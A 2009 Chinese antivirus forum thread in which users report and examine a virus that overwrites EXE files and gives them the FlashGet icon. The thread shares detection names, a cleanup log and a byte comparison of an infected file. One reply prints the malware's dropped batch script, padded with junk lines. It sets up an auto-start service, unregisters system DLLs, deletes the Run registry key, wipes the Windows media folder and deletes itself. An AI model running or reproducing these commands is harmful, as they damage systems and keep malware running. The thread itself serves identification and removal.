感染EXE图标为快车，最新病毒

显示全部楼层 · 发表于 2009-1-9 09:45:14

这是不是新病毒,我有个客户昨天中了,很多图标都变成快车的样子,然后我看了下文件修改时间都是1月8号16.50修改的,到底有没有专杀啊.重做系统没关系,问题是这个病毒是在哪来的,怎么杀掉.

顺便提下,我那客户用的杀软是瑞星...不打开不提示,打开就删除,,,反正我是从来没用过瑞星杀软....没在NOD和KAV下测试呢...愁人了

显示全部楼层 · 发表于 2009-1-9 09:59:17

看来有很多人中了啊，昨天我的同事也中这个病毒了，会感染winrar ，图标变成快车，这个是他释放的一个bat文件
XVPBIHOM6IVWYLNROX5HOKB
sc.exe create VLM9LP3RRP7 BinPath= "C:\Program Files\M8HFQB\YC8G8RL.EXE -9OQBTAK1TW" type= own type= interact start= auto DisplayName= XMD6O
Q6EZFMEPSL2FOI2US2D
regsvr32.exe /u /s shimgvw.dll
LZMO6CA8TXJHDS7
regsvr32.exe /u /s itss.dll
HSRCR95V2E94I74WKQWSR
regsvr32.exe /u /s scrrun.dll
CMZ6BY3B3G0P020PS
regsvr32.exe /u /s vbscript.dll
F5V0OXWON5UZ2UU
regsvr32.exe /s jscript.dll
ILCQW2BVES7O7PUDZTNW
reg.exe delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /F
69B9MU6GX644J17JJ
reg.exe ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Play_Background_Sounds /t REG_SZ /d no /F
00I1XZFR8ZC7UC
reg.exe ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Play_Animations /t REG_SZ /d no /F
XTOPFPORUJT5O39J22P
reg.exe ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Display Inline Videos" /t REG_SZ /d no /F
SNWC7FQ6DDV6LD5W
reg.exe ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Display Inline Images" /t REG_SZ /d yes /F
NG18RLZL25JZI
reg.exe ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Disable Script Debugger" /t REG_SZ /d yes /F
K9VC0WFB68AGTQQPVF
reg.exe ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v DisableScriptDebuggerIE /t REG_SZ /d yes /F
EK3QSDE3L2DKYD6
del C:\WINDOWS\Media\*.*
8QSRY267AJAN8AT

del %0
exit

3FMGLAGAD49ZWIHYGYVB

显示全部楼层 · 发表于 2009-1-9 14:14:59

我同事昨天也中了~晕哦！期待专杀啊~

显示全部楼层 · 发表于 2009-1-9 14:25:39

[DETECTION] Contains a recognition pattern of the (harmful) BDS/Bifrose.aivs back-door program

显示全部楼层 · 发表于 2009-1-9 15:12:19

毒霸2009:病毒 2009-01-09 15:12:06 C:\Documents and Settings\Administrator\桌面\GGX28YUA9H9.rar\GGX28YUA9H9.EXE Worm.Agent.NA.53248 清除成功

显示全部楼层 · 发表于 2009-1-9 15:41:16

格杀勿论

显示全部楼层 · 发表于 2009-1-9 16:27:25

2009-1-9 16:26:48 http://bbs.kafan.cn/attachment.p ... H9.EXE//SDProtector Maxthon Web Browser 拒绝: Backdoor.Win32.Bifrose.aivs

kis2009 拒绝下载。

显示全部楼层 · 发表于 2009-1-10 10:38:53

瑞星也能查杀。。

显示全部楼层 · 发表于 2009-1-10 16:00:29

○ 0>360hotfix.exe:eec240c74890afcc19d9b0629b1051ab-未重复,忽略
● 1>360rpt.exe:eec240c74890afcc19d9b0629b1051ab-重复,已删除
● 2>360Safe.exe:eec240c74890afcc19d9b0629b1051ab-重复,已删除
● 3>360safeup.exe:eec240c74890afcc19d9b0629b1051ab-重复,已删除
● 4>360safeupv3.exe:eec240c74890afcc19d9b0629b1051ab-重复,已删除
● 5>360Shell.exe:eec240c74890afcc19d9b0629b1051ab-重复,已删除
● 6>boxmod.exe:eec240c74890afcc19d9b0629b1051ab-重复,已删除
● 7>extdb.exe:eec240c74890afcc19d9b0629b1051ab-重复,已删除

------------------------
检查 : 8
重复(被删除) : 7
开始时间 : 2009-1-10 15:58:00 中止时间 : 2009-1-10 15:58:00
耗费 : 0s
------------------------

感染的都干掉吧..这个貌似是覆盖的

新版貌似还是覆盖前0x7000字节
正在比较文件 C:\infected-brew-tst2.exe 和 D:\BREW-TST2.EXE
0000003C: E8 E0
....
00006FFF: 00 66

显示全部楼层 · 发表于 2009-1-10 16:02:07

对于新病毒，传统杀软优势没了吧。。。。。

[病毒样本] 感染EXE图标为快车，最新病毒

本帖子中包含更多资源

回复 31楼 gaobaba 的帖子